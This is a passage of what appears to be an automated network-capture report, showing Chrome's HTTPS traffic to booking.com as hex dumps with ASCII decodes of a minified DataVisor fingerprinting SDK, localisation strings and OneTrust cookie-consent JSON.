20 d0 Data Ascii: "},iam_email_reserved_body1:function(n){return" .
2024-11-02 13:00:17 UTC	16384	IN	Data Raw: 2c 20 d1 82 d1 8a d0 b9 20 d0 ba d0 b0 d1 82 d0 be 20 d0 be d0 bf d0 b5 d1 80 d0 b0 d1 86 d0 b8 d0 be d0 bd d0 bd d0 b0 d1 82 d0 b0 20 d1 81 d0 b8 d1 81 d1 82 d0 b5 d0 bc d0 b0 20 d0 bd d0 b5 20 d0 bf d0 be d0 b4 d0 b4 d1 8a d1 80 d0 b6 d0 b0 20 d0 bd d0 b0 d0 b9 2d d0 bd d0 be d0 b2 d0 b0 d1 82 d0 b0 20 d0 b2 d0 b5 d1 80 d1 81 d0 b8 d1 8f 20 d0 bd d0 b0 20 d0 bf d1 80 d0 b8 d0 bb d0 be d0 b6 d0 b5 d0 bd d0 b8 d0 b5 d1 82 d0 be 2e 20 50 75 6c 73 65 20 d0 b8 d0 b7 d0 b8 d1 81 d0 ba d0 b2 d0 b0 20 d0 b2 d0 b5 d1 80 d1 81 d0 b8 d1 8f 20 22 2b 74 28 22 6d 69 6e 5f 6f 73 5f 72 65 71 75 69 72 65 64 22 2c 6e 29 2b 22 20 d0 bd d0 b0 20 41 6e 64 72 6f 69 64 20 d0 b8 d0 bb d0 b8 20 d0 bf d0 be 2d d0 bd d0 be d0 b2 d0 b0 2e 20 d0 9d d0 b0 20 d1 83 d0 b5 d0 b1 d1 81 Data Ascii: , - . Pulse "+t("min_os_required",n)+" Android -.
2024-11-02 13:00:17 UTC	16384	IN	Data Raw: 80 d0 b8 22 7d 2c 31 32 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 22 d0 b4 d0 b5 d0 ba d0 b5 d0 bc d0 b2 d1 80 d0 b8 22 7d 2c 6f 74 68 65 72 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 22 22 7d 7d 29 7d 2c 6f 61 75 74 68 5f 64 69 73 63 6c 61 69 6d 65 72 5f 62 6f 6f 6b 69 6e 67 5f 64 6d 61 3a 66 75 6e 63 74 69 6f 6e 28 6e 29 7b 72 65 74 75 72 6e 22 d0 9f d0 be d0 b7 d0 b2 d0 be d0 bb d1 8f d0 b2 d0 b0 d0 b9 d0 ba d0 b8 20 d1 81 d0 bf d0 be d0 b4 d0 b5 d0 bb d1 8f d0 bd d0 b5 d1 82 d0 be 20 d0 bd d0 b0 20 d0 b4 d0 b0 d0 bd d0 bd d0 b8 2c 20 d0 b2 d0 b8 d0 b5 20 d0 b4 d0 b0 d0 b2 d0 b0 d1 82 d0 b5 20 d1 81 d1 8a d0 b3 d0 bb d0 b0 d1 81 d0 b8 d0 b5 d1 82 d0 be 20 d1 81 d0 b8 20 d0 b4 d0 b0 d0 bd d0 bd d0 b8 d1 82 d0 b5 20 d0 b2 d0 b8 20 Data Ascii: "},12:function(){return""},other:function(){return""}})},oauth_disclaimer_booking_dma:function(n){return" ,

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
50	192.168.2.5	49762	18.245.31.49	443	4160	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-02 13:00:16 UTC	547	OUT	GET /libs/datavisor/20231228/sdk.js HTTP/1.1 Host: xx.bstatic.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://account.booking.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-11-02 13:00:17 UTC	839	IN	HTTP/1.1 200 OK Content-Type: application/javascript Content-Length: 472909 Connection: close Server: nginx Date: Mon, 28 Oct 2024 13:31:07 GMT Last-Modified: Fri, 27 Sep 2024 07:30:24 GMT ETag: "66f65f10-7374d" Expires: Wed, 27 Nov 2024 13:31:07 GMT Cache-Control: max-age=2592000 access-control-allow-origin: * nel: {"report_to":"default","max_age":600} report-to: {"endpoints":[{"url":"https://nellie.booking.com/report"}],"max_age":600,"group":"default","failure_fraction":0.05} Accept-Ranges: bytes x-xss-protection: 1; mode=block timing-allow-origin: * Vary: Accept-Encoding X-Cache: Hit from cloudfront Via: 1.1 90d4d7d1a3cebe66392e229fd5792ae0.cloudfront.net (CloudFront) X-Amz-Cf-Pop: FRA56-P8 Alt-Svc: h3=":443"; ma=86400 X-Amz-Cf-Id: 3qf6fmdsOZB0le0aqvbb8-L3UELoHX_MB9EyfgD2tnAylTDRJ7SvNw== Age: 430149
2024-11-02 13:00:17 UTC	16384	IN	Data Raw: 21 66 75 6e 63 74 69 6f 6e 28 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 76 61 72 20 50 3d 22 75 6e 64 65 66 69 6e 65 64 22 21 3d 74 79 70 65 6f 66 20 67 6c 6f 62 61 6c 54 68 69 73 3f 67 6c 6f 62 61 6c 54 68 69 73 3a 22 75 6e 64 65 66 69 6e 65 64 22 21 3d 74 79 70 65 6f 66 20 77 69 6e 64 6f 77 3f 77 69 6e 64 6f 77 3a 22 75 6e 64 65 66 69 6e 65 64 22 21 3d 74 79 70 65 6f 66 20 67 6c 6f 62 61 6c 3f 67 6c 6f 62 61 6c 3a 22 75 6e 64 65 66 69 6e 65 64 22 21 3d 74 79 70 65 6f 66 20 73 65 6c 66 3f 73 65 6c 66 3a 7b 7d 3b 66 75 6e 63 74 69 6f 6e 20 6a 28 74 29 7b 72 65 74 75 72 6e 20 74 26 26 74 2e 5f 5f 65 73 4d 6f 64 75 6c 65 26 26 4f 62 6a 65 63 74 2e 70 72 6f 74 6f 74 79 70 65 2e 68 61 73 4f 77 6e 50 72 6f 70 65 72 74 79 2e 63 61 6c 6c 28 74 2c 22 64 65 66 Data Ascii: !function(){"use strict";var P="undefined"!=typeof globalThis?globalThis:"undefined"!=typeof window?window:"undefined"!=typeof global?global:"undefined"!=typeof self?self:{};function j(t){return t&&t.__esModule&&Object.prototype.hasOwnProperty.call(t,"def
2024-11-02 13:00:17 UTC	16384	IN	Data Raw: 64 20 30 2c 74 26 26 74 2e 65 6e 74 65 72 28 29 7d 2c 4c 69 3d 68 69 7c 7c 5a 69 7c 7c 43 72 7c 7c 21 68 7c 7c 21 69 3f 21 66 26 26 67 26 26 67 2e 72 65 73 6f 6c 76 65 3f 28 28 46 69 3d 67 2e 72 65 73 6f 6c 76 65 28 76 6f 69 64 20 30 29 29 2e 63 6f 6e 73 74 72 75 63 74 6f 72 3d 67 2c 56 69 3d 46 69 2e 74 68 65 6e 2c 66 75 6e 63 74 69 6f 6e 28 29 7b 56 69 2e 63 61 6c 6c 28 46 69 2c 51 69 29 7d 29 3a 5a 69 3f 66 75 6e 63 74 69 6f 6e 28 29 7b 71 69 2e 6e 65 78 74 54 69 63 6b 28 51 69 29 7d 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 57 69 2e 63 61 6c 6c 28 59 69 2c 51 69 29 7d 3a 28 55 69 3d 21 30 2c 4d 69 3d 69 2e 63 72 65 61 74 65 54 65 78 74 4e 6f 64 65 28 22 22 29 2c 6e 65 77 20 68 28 51 69 29 2e 6f 62 73 65 72 76 65 28 4d 69 2c 7b 63 68 61 72 61 63 74 65 72 44 Data Ascii: d 0,t&&t.enter()},Li=hi\|\|Zi\|\|Cr\|\|!h\|\|!i?!f&&g&&g.resolve?((Fi=g.resolve(void 0)).constructor=g,Vi=Fi.then,function(){Vi.call(Fi,Qi)}):Zi?function(){qi.nextTick(Qi)}:function(){Wi.call(Yi,Qi)}:(Ui=!0,Mi=i.createTextNode(""),new h(Qi).observe(Mi,{characterD
2024-11-02 13:00:17 UTC	16384	IN	Data Raw: 65 2c 6e 73 28 30 2c 6e 29 29 3a 74 5b 65 5d 3d 6e 7d 2c 76 3d 6f 74 2c 69 73 3d 46 2c 6f 73 3d 43 72 2c 61 73 3d 4b 2c 73 73 3d 5a 2c 75 73 3d 75 74 2c 63 73 3d 72 73 2c 6c 73 3d 4c 74 2c 66 73 3d 67 72 2c 6d 3d 58 2c 68 73 3d 6e 2c 70 73 3d 6d 28 22 69 73 43 6f 6e 63 61 74 53 70 72 65 61 64 61 62 6c 65 22 29 2c 64 73 3d 39 30 30 37 31 39 39 32 35 34 37 34 30 39 39 31 2c 67 73 3d 22 4d 61 78 69 6d 75 6d 20 61 6c 6c 6f 77 65 64 20 69 6e 64 65 78 20 65 78 63 65 65 64 65 64 22 2c 6d 3d 35 31 3c 3d 68 73 7c 7c 21 69 73 28 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 74 3d 5b 5d 3b 72 65 74 75 72 6e 20 74 5b 70 73 5d 3d 21 31 2c 74 2e 63 6f 6e 63 61 74 28 29 5b 30 5d 21 3d 3d 74 7d 29 2c 68 73 3d 66 73 28 22 63 6f 6e 63 61 74 22 29 2c 69 73 3d 21 6d 7c 7c 21 Data Ascii: e,ns(0,n)):t[e]=n},v=ot,is=F,os=Cr,as=K,ss=Z,us=ut,cs=rs,ls=Lt,fs=gr,m=X,hs=n,ps=m("isConcatSpreadable"),ds=9007199254740991,gs="Maximum allowed index exceeded",m=51<=hs\|\|!is(function(){var t=[];return t[ps]=!1,t.concat()[0]!==t}),hs=fs("concat"),is=!m\|\|!
2024-11-02 13:00:17 UTC	16384	IN	Data Raw: 6d 65 74 68 6f 64 3a 22 50 4f 53 54 22 7d 7d 29 2c 78 6c 3d 7b 7d 3b 66 75 6e 63 74 69 6f 6e 20 4f 6c 28 74 2c 65 29 7b 76 61 72 20 6e 2c 72 3d 76 6f 69 64 20 30 21 3d 3d 4f 63 26 26 45 75 28 74 29 7c 7c 74 5b 22 40 40 69 74 65 72 61 74 6f 72 22 5d 3b 69 66 28 21 72 29 7b 69 66 28 41 72 72 61 79 2e 69 73 41 72 72 61 79 28 74 29 7c 7c 28 72 3d 66 75 6e 63 74 69 6f 6e 28 74 2c 65 29 7b 69 66 28 74 29 7b 69 66 28 22 73 74 72 69 6e 67 22 3d 3d 74 79 70 65 6f 66 20 74 29 72 65 74 75 72 6e 20 44 6c 28 74 2c 65 29 3b 76 61 72 20 6e 3d 79 6c 28 6e 3d 4f 62 6a 65 63 74 2e 70 72 6f 74 6f 74 79 70 65 2e 74 6f 53 74 72 69 6e 67 2e 63 61 6c 6c 28 74 29 29 2e 63 61 6c 6c 28 6e 2c 38 2c 2d 31 29 3b 72 65 74 75 72 6e 22 4d 61 70 22 3d 3d 3d 28 6e 3d 22 4f 62 6a 65 63 74 Data Ascii: method:"POST"}}),xl={};function Ol(t,e){var n,r=void 0!==Oc&&Eu(t)\|\|t["@@iterator"];if(!r){if(Array.isArray(t)\|\|(r=function(t,e){if(t){if("string"==typeof t)return Dl(t,e);var n=yl(n=Object.prototype.toString.call(t)).call(n,8,-1);return"Map"===(n="Object
2024-11-02 13:00:17 UTC	16384	IN	Data Raw: 61 67 6b 49 41 56 42 66 69 41 43 64 33 45 69 42 54 59 43 41 41 77 42 43 79 41 41 49 41 4d 32 41 67 77 67 41 79 41 41 4e 67 49 49 43 79 41 42 51 51 68 71 49 51 41 67 41 53 41 47 51 51 4e 79 4e 67 49 45 49 41 45 67 42 6d 6f 69 42 79 41 43 51 51 4e 30 49 67 49 67 42 6d 73 69 41 30 45 42 63 6a 59 43 42 43 41 42 49 41 4a 71 49 41 4d 32 41 67 41 67 43 41 52 41 49 41 68 42 41 33 59 69 42 45 45 44 64 45 48 51 4a 47 6f 68 41 55 47 38 4a 43 67 43 41 43 45 43 41 6e 38 67 42 55 45 42 49 41 52 30 49 67 52 78 52 51 52 41 51 61 67 6b 49 41 51 67 42 58 49 32 41 67 41 67 41 51 77 42 43 79 41 42 4b 41 49 49 43 79 45 45 49 41 45 67 41 6a 59 43 43 43 41 45 49 41 49 32 41 67 77 67 41 69 41 42 4e 67 49 4d 49 41 49 67 42 44 59 43 43 41 74 42 76 43 51 67 42 7a 59 43 41 45 47 77 Data Ascii: agkIAVBfiACd3EiBTYCAAwBCyAAIAM2AgwgAyAANgIICyABQQhqIQAgASAGQQNyNgIEIAEgBmoiByACQQN0IgIgBmsiA0EBcjYCBCABIAJqIAM2AgAgCARAIAhBA3YiBEEDdEHQJGohAUG8JCgCACECAn8gBUEBIAR0IgRxRQRAQagkIAQgBXI2AgAgAQwBCyABKAIICyEEIAEgAjYCCCAEIAI2AgwgAiABNgIMIAIgBDYCCAtBvCQgBzYCAEGw
2024-11-02 13:00:17 UTC	16384	IN	Data Raw: 75 73 3d 3d 3d 6b 2e 52 55 4e 4e 49 4e 47 26 26 28 65 2e 73 74 61 74 75 73 3d 6b 2e 4e 4f 54 5f 53 55 50 50 4f 52 54 2c 65 2e 77 61 69 74 69 6e 67 46 6f 72 45 78 63 75 74 65 2e 66 6f 72 45 61 63 68 28 66 75 6e 63 74 69 6f 6e 28 74 29 7b 72 65 74 75 72 6e 20 74 28 29 7d 29 29 7d 29 29 3a 74 68 69 73 2e 73 74 61 74 75 73 3d 6b 2e 4e 4f 54 5f 53 55 50 50 4f 52 54 7d 72 65 74 75 72 6e 20 44 61 28 74 2c 5b 7b 6b 65 79 3a 22 77 61 69 74 55 6e 74 69 6c 49 6e 69 74 45 6e 64 22 2c 76 61 6c 75 65 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 6e 3d 74 68 69 73 3b 72 65 74 75 72 6e 20 6e 65 77 20 57 63 28 66 75 6e 63 74 69 6f 6e 28 74 2c 65 29 7b 73 77 69 74 63 68 28 6e 2e 73 74 61 74 75 73 29 7b 63 61 73 65 20 6b 2e 52 55 4e 4e 49 4e 47 3a 6e 2e 77 61 69 74 69 6e Data Ascii: us===k.RUNNING&&(e.status=k.NOT_SUPPORT,e.waitingForExcute.forEach(function(t){return t()}))})):this.status=k.NOT_SUPPORT}return Da(t,[{key:"waitUntilInitEnd",value:function(){var n=this;return new Wc(function(t,e){switch(n.status){case k.RUNNING:n.waitin
2024-11-02 13:00:17 UTC	364	IN	Data Raw: 69 6f 6e 28 74 2c 65 29 7b 47 68 28 74 68 69 73 2c 7b 74 79 70 65 3a 72 2c 74 61 72 67 65 74 3a 74 2c 73 74 61 74 65 3a 69 28 74 29 2c 6b 69 6e 64 3a 65 2c 6c 61 73 74 3a 76 6f 69 64 20 30 7d 29 7d 2c 66 75 6e 63 74 69 6f 6e 28 29 7b 66 6f 72 28 76 61 72 20 74 3d 6f 28 74 68 69 73 29 2c 65 3d 74 2e 6b 69 6e 64 2c 6e 3d 74 2e 6c 61 73 74 3b 6e 26 26 6e 2e 72 65 6d 6f 76 65 64 3b 29 6e 3d 6e 2e 70 72 65 76 69 6f 75 73 3b 72 65 74 75 72 6e 20 74 2e 74 61 72 67 65 74 26 26 28 74 2e 6c 61 73 74 3d 6e 3d 6e 3f 6e 2e 6e 65 78 74 3a 74 2e 73 74 61 74 65 2e 66 69 72 73 74 29 3f 22 6b 65 79 73 22 3d 3d 65 3f 7b 76 61 6c 75 65 3a 6e 2e 6b 65 79 2c 64 6f 6e 65 3a 21 31 7d 3a 22 76 61 6c 75 65 73 22 3d 3d 65 3f 7b 76 61 6c 75 65 3a 6e 2e 76 61 6c 75 65 2c 64 6f 6e 65 Data Ascii: ion(t,e){Gh(this,{type:r,target:t,state:i(t),kind:e,last:void 0})},function(){for(var t=o(this),e=t.kind,n=t.last;n&&n.removed;)n=n.previous;return t.target&&(t.last=n=n?n.next:t.state.first)?"keys"==e?{value:n.key,done:!1}:"values"==e?{value:n.value,done
2024-11-02 13:00:17 UTC	16384	IN	Data Raw: 22 53 65 74 22 2c 66 75 6e 63 74 69 6f 6e 28 74 29 7b 72 65 74 75 72 6e 20 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 74 28 74 68 69 73 2c 61 72 67 75 6d 65 6e 74 73 2e 6c 65 6e 67 74 68 3f 61 72 67 75 6d 65 6e 74 73 5b 30 5d 3a 76 6f 69 64 20 30 29 7d 7d 2c 68 29 3b 76 61 72 20 48 68 3d 4a 74 2e 53 65 74 2c 4b 68 3d 5a 2c 59 68 3d 63 74 2c 57 68 3d 75 74 3b 6f 74 28 7b 74 61 72 67 65 74 3a 22 41 72 72 61 79 22 2c 70 72 6f 74 6f 3a 21 30 7d 2c 7b 66 69 6c 6c 3a 66 75 6e 63 74 69 6f 6e 28 74 29 7b 66 6f 72 28 76 61 72 20 65 3d 4b 68 28 74 68 69 73 29 2c 6e 3d 57 68 28 65 2e 6c 65 6e 67 74 68 29 2c 72 3d 61 72 67 75 6d 65 6e 74 73 2e 6c 65 6e 67 74 68 2c 69 3d 59 68 28 31 3c 72 3f 61 72 67 75 6d 65 6e 74 73 5b 31 5d 3a 76 6f 69 64 20 30 2c 6e 29 Data Ascii: "Set",function(t){return function(){return t(this,arguments.length?arguments[0]:void 0)}},h);var Hh=Jt.Set,Kh=Z,Yh=ct,Wh=ut;ot({target:"Array",proto:!0},{fill:function(t){for(var e=Kh(this),n=Wh(e.length),r=arguments.length,i=Yh(1<r?arguments[1]:void 0,n)
2024-11-02 13:00:18 UTC	16384	IN	Data Raw: 72 29 72 65 74 75 72 6e 7b 6e 61 6d 65 3a 6e 61 76 69 67 61 74 6f 72 2e 61 70 70 4e 61 6d 65 2c 76 65 72 73 69 6f 6e 3a 6e 61 76 69 67 61 74 6f 72 2e 61 70 70 56 65 72 73 69 6f 6e 2c 63 6f 64 65 3a 6e 61 76 69 67 61 74 6f 72 2e 61 70 70 43 6f 64 65 4e 61 6d 65 2c 41 67 65 6e 74 3a 6e 61 76 69 67 61 74 6f 72 2e 75 73 65 72 41 67 65 6e 74 7d 3b 74 68 72 6f 77 22 22 7d 63 61 74 63 68 28 74 29 7b 7d 72 65 74 75 72 6e 20 6b 2e 4e 4f 54 5f 53 55 50 50 4f 52 54 7d 2c 6a 32 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 74 72 79 7b 69 66 28 21 6e 61 76 69 67 61 74 6f 72 29 74 68 72 6f 77 22 22 3b 76 61 72 20 74 3d 6e 61 76 69 67 61 74 6f 72 2e 70 6c 75 67 69 6e 73 3b 69 66 28 74 29 7b 66 6f 72 28 76 61 72 20 65 3d 5b 5d 2c 6e 3d 30 2c 72 3d 74 2e 6c 65 6e 67 74 68 3b 6e 3c Data Ascii: r)return{name:navigator.appName,version:navigator.appVersion,code:navigator.appCodeName,Agent:navigator.userAgent};throw""}catch(t){}return k.NOT_SUPPORT},j2:function(){try{if(!navigator)throw"";var t=navigator.plugins;if(t){for(var e=[],n=0,r=t.length;n<
2024-11-02 13:00:18 UTC	16384	IN	Data Raw: 2e 63 61 6c 6c 28 6e 2c 22 77 69 6e 22 29 3c 30 26 26 4f 28 6e 29 2e 63 61 6c 6c 28 6e 2c 22 6c 69 6e 75 78 22 29 3c 30 26 26 4f 28 6e 29 2e 63 61 6c 6c 28 6e 2c 22 6d 61 63 22 29 3c 30 26 26 4f 28 6e 29 2e 63 61 6c 6c 28 6e 2c 22 69 70 68 6f 6e 65 22 29 3c 30 26 26 4f 28 6e 29 2e 63 61 6c 6c 28 6e 2c 22 69 70 61 64 22 29 3c 30 26 26 4f 28 6e 29 2e 63 61 6c 6c 28 6e 2c 22 69 70 6f 64 22 29 3c 30 29 21 3d 28 22 4f 74 68 65 72 22 3d 3d 3d 72 29 7c 7c 76 6f 69 64 20 30 3d 3d 3d 6e 61 76 69 67 61 74 6f 72 2e 70 6c 75 67 69 6e 73 26 26 22 57 69 6e 64 6f 77 73 22 21 3d 3d 72 26 26 22 57 69 6e 64 6f 77 73 20 50 68 6f 6e 65 22 21 3d 3d 72 29 29 29 29 7d 66 75 6e 63 74 69 6f 6e 20 79 70 28 29 7b 76 61 72 20 74 3d 64 6f 63 75 6d 65 6e 74 2e 63 72 65 61 74 65 45 6c Data Ascii: .call(n,"win")<0&&O(n).call(n,"linux")<0&&O(n).call(n,"mac")<0&&O(n).call(n,"iphone")<0&&O(n).call(n,"ipad")<0&&O(n).call(n,"ipod")<0)!=("Other"===r)\|\|void 0===navigator.plugins&&"Windows"!==r&&"Windows Phone"!==r))))}function yp(){var t=document.createEl

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
51	192.168.2.5	49769	104.18.86.42	443	4160	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-02 13:00:16 UTC	645	OUT	GET /consent/a387750c-a080-4dd0-b2d1-7dbdb601bb14/0191ffb2-0224-7614-89a9-ce4becc49775/en-us.json HTTP/1.1 Host: cdn.cookielaw.org Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Origin: https://account.booking.com Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://account.booking.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-11-02 13:00:17 UTC	982	IN	HTTP/1.1 200 OK Date: Sat, 02 Nov 2024 13:00:17 GMT Content-Type: application/json Transfer-Encoding: chunked Connection: close CF-Ray: 8dc44e7ea9634600-DFW CF-Cache-Status: HIT Access-Control-Allow-Origin: * Age: 62217 Cache-Control: public, max-age=86400 Expires: Sun, 03 Nov 2024 13:00:17 GMT Last-Modified: Tue, 17 Sep 2024 13:58:42 GMT Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Vary: Accept-Encoding Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,Content-Type,Content-Encoding,Cache-Control,Last-Modified,ETag,Content-MD5,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding Content-MD5: mQdwKzDxByqBkuPEnb71DQ== Cross-Origin-Resource-Policy: cross-origin X-Content-Type-Options: nosniff x-ms-blob-type: BlockBlob x-ms-lease-status: unlocked x-ms-request-id: 318c18e4-a01e-0023-614c-26fc41000000 x-ms-version: 2009-09-19 Cross-Origin-Resource-Policy: cross-origin Server: cloudflare
2024-11-02 13:00:17 UTC	387	IN	Data Raw: 32 31 31 39 0d 0a 7b 22 44 6f 6d 61 69 6e 44 61 74 61 22 3a 7b 22 70 63 63 6c 6f 73 65 42 75 74 74 6f 6e 54 79 70 65 22 3a 22 49 63 6f 6e 22 2c 22 70 63 6c 69 66 65 53 70 61 6e 59 72 22 3a 22 59 65 61 72 22 2c 22 70 63 6c 69 66 65 53 70 61 6e 59 72 73 22 3a 22 59 65 61 72 73 22 2c 22 70 63 6c 69 66 65 53 70 61 6e 53 65 63 73 22 3a 22 41 20 66 65 77 20 73 65 63 6f 6e 64 73 22 2c 22 70 63 6c 69 66 65 53 70 61 6e 57 6b 22 3a 22 57 65 65 6b 22 2c 22 70 63 6c 69 66 65 53 70 61 6e 57 6b 73 22 3a 22 57 65 65 6b 73 22 2c 22 70 63 63 6f 6e 74 69 6e 75 65 57 69 74 68 6f 75 74 41 63 63 65 70 74 54 65 78 74 22 3a 22 43 6f 6e 74 69 6e 75 65 20 77 69 74 68 6f 75 74 20 41 63 63 65 70 74 69 6e 67 22 2c 22 4d 61 69 6e 54 65 78 74 22 3a 22 4d 61 6e 61 67 65 20 63 6f 6f 6b Data Ascii: 2119{"DomainData":{"pccloseButtonType":"Icon","pclifeSpanYr":"Year","pclifeSpanYrs":"Years","pclifeSpanSecs":"A few seconds","pclifeSpanWk":"Week","pclifeSpanWks":"Weeks","pccontinueWithoutAcceptText":"Continue without Accepting","MainText":"Manage cook
2024-11-02 13:00:17 UTC	1369	IN	Data Raw: 20 64 69 73 61 62 6c 65 20 74 68 65 20 73 65 74 74 69 6e 67 73 20 66 6f 72 20 65 61 63 68 20 63 6f 6f 6b 69 65 20 63 61 74 65 67 6f 72 79 20 61 74 20 61 6e 79 20 74 69 6d 65 2e 3c 2f 70 3e 5c 6e 3c 70 3e 59 6f 75 20 63 61 6e 20 66 69 6e 64 20 6d 6f 72 65 20 64 65 74 61 69 6c 65 64 20 69 6e 66 6f 72 6d 61 74 69 6f 6e 20 6f 6e 20 63 6f 6f 6b 69 65 20 75 73 65 20 61 6e 64 20 64 65 73 63 72 69 70 74 69 6f 6e 73 20 69 6e 20 6f 75 72 20 3c 61 20 68 72 65 66 3d 5c 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 62 6f 6f 6b 69 6e 67 2e 63 6f 6d 2f 63 6f 6e 74 65 6e 74 2f 70 72 69 76 61 63 79 2e 68 74 6d 6c 5c 22 20 74 61 72 67 65 74 3d 5c 22 5f 62 6c 61 6e 6b 5c 22 3e 50 72 69 76 61 63 79 20 26 20 43 6f 6f 6b 69 65 20 53 74 61 74 65 6d 65 6e 74 3c 2f 61 3e 2e 3c 2f 70 3e Data Ascii: disable the settings for each cookie category at any time.</p>\n<p>You can find more detailed information on cookie use and descriptions in our <a href=\"https://www.booking.com/content/privacy.html\" target=\"_blank\">Privacy & Cookie Statement</a>.</p>
2024-11-02 13:00:17 UTC	1369	IN	Data Raw: 74 6f 20 64 69 73 70 6c 61 79 20 61 6e 64 20 73 65 6e 64 20 70 65 72 73 6f 6e 61 6c 69 7a 65 64 20 63 6f 6e 74 65 6e 74 20 61 6e 64 20 61 64 76 65 72 74 69 73 65 6d 65 6e 74 73 20 6f 6e 20 6f 75 72 20 70 6c 61 74 66 6f 72 6d 2c 20 6f 74 68 65 72 20 77 65 62 73 69 74 65 73 2c 20 61 6e 64 20 76 69 61 20 70 75 73 68 20 6d 65 73 73 61 67 65 73 20 61 6e 64 20 65 6d 61 69 6c 73 2e 20 54 68 65 20 70 65 72 73 6f 6e 61 6c 69 7a 65 64 20 63 6f 6e 74 65 6e 74 20 69 73 20 62 61 73 65 64 20 6f 6e 20 79 6f 75 72 20 62 72 6f 77 73 69 6e 67 20 61 6e 64 20 74 68 65 20 73 65 72 76 69 63 65 73 20 79 6f 75 27 76 65 20 62 6f 6f 6b 65 64 2e 20 54 68 65 73 65 20 63 6f 6f 6b 69 65 73 20 61 6c 73 6f 20 61 6c 6c 6f 77 20 79 6f 75 20 74 6f 20 73 68 61 72 65 20 6f 72 20 6c 69 6b 65 Data Ascii: to display and send personalized content and advertisements on our platform, other websites, and via push messages and emails. The personalized content is based on your browsing and the services you've booked. These cookies also allow you to share or like
2024-11-02 13:00:17 UTC	1369	IN	Data Raw: 73 70 61 6e 45 6e 61 62 6c 65 64 22 3a 66 61 6c 73 65 2c 22 4c 69 66 65 73 70 61 6e 54 65 78 74 22 3a 22 4c 69 66 65 73 70 61 6e 22 2c 22 56 65 6e 64 6f 72 4c 65 76 65 6c 4f 70 74 4f 75 74 22 3a 66 61 6c 73 65 2c 22 48 61 73 53 63 72 69 70 74 41 72 63 68 69 76 65 22 3a 66 61 6c 73 65 2c 22 42 61 6e 6e 65 72 50 6f 73 69 74 69 6f 6e 22 3a 22 62 6f 74 74 6f 6d 22 2c 22 50 72 65 66 65 72 65 6e 63 65 43 65 6e 74 65 72 50 6f 73 69 74 69 6f 6e 22 3a 22 64 65 66 61 75 6c 74 22 2c 22 50 72 65 66 65 72 65 6e 63 65 43 65 6e 74 65 72 43 6f 6e 66 69 72 6d 54 65 78 74 22 3a 22 43 6f 6e 66 69 72 6d 20 73 65 74 74 69 6e 67 73 22 2c 22 56 65 6e 64 6f 72 4c 69 73 74 54 65 78 74 22 3a 22 4c 69 73 74 20 6f 66 20 49 41 42 20 56 65 6e 64 6f 72 73 22 2c 22 54 68 69 72 64 50 61 Data Ascii: spanEnabled":false,"LifespanText":"Lifespan","VendorLevelOptOut":false,"HasScriptArchive":false,"BannerPosition":"bottom","PreferenceCenterPosition":"default","PreferenceCenterConfirmText":"Confirm settings","VendorListText":"List of IAB Vendors","ThirdPa
2024-11-02 13:00:17 UTC	1369	IN	Data Raw: 65 61 74 65 20 61 6e 20 61 63 63 6f 75 6e 74 2c 20 73 69 67 6e 20 69 6e 2c 20 61 6e 64 20 6d 61 6e 61 67 65 20 62 6f 6f 6b 69 6e 67 73 2e 20 54 68 65 79 20 61 6c 73 6f 20 72 65 6d 65 6d 62 65 72 20 79 6f 75 72 20 73 65 6c 65 63 74 65 64 20 63 75 72 72 65 6e 63 79 2c 20 6c 61 6e 67 75 61 67 65 2c 20 61 6e 64 20 70 61 73 74 20 73 65 61 72 63 68 65 73 2e 20 54 68 65 73 65 20 74 65 63 68 6e 69 63 61 6c 20 63 6f 6f 6b 69 65 73 20 6d 75 73 74 20 62 65 20 65 6e 61 62 6c 65 64 20 74 6f 20 75 73 65 20 6f 75 72 20 73 69 74 65 20 61 6e 64 20 73 65 72 76 69 63 65 73 2e 22 2c 22 47 72 6f 75 70 44 65 73 63 72 69 70 74 69 6f 6e 4f 54 54 22 3a 22 57 65 20 75 73 65 20 66 75 6e 63 74 69 6f 6e 61 6c 20 63 6f 6f 6b 69 65 73 20 74 6f 20 65 6e 61 62 6c 65 20 6f 75 72 20 77 65 Data Ascii: eate an account, sign in, and manage bookings. They also remember your selected currency, language, and past searches. These technical cookies must be enabled to use our site and services.","GroupDescriptionOTT":"We use functional cookies to enable our we
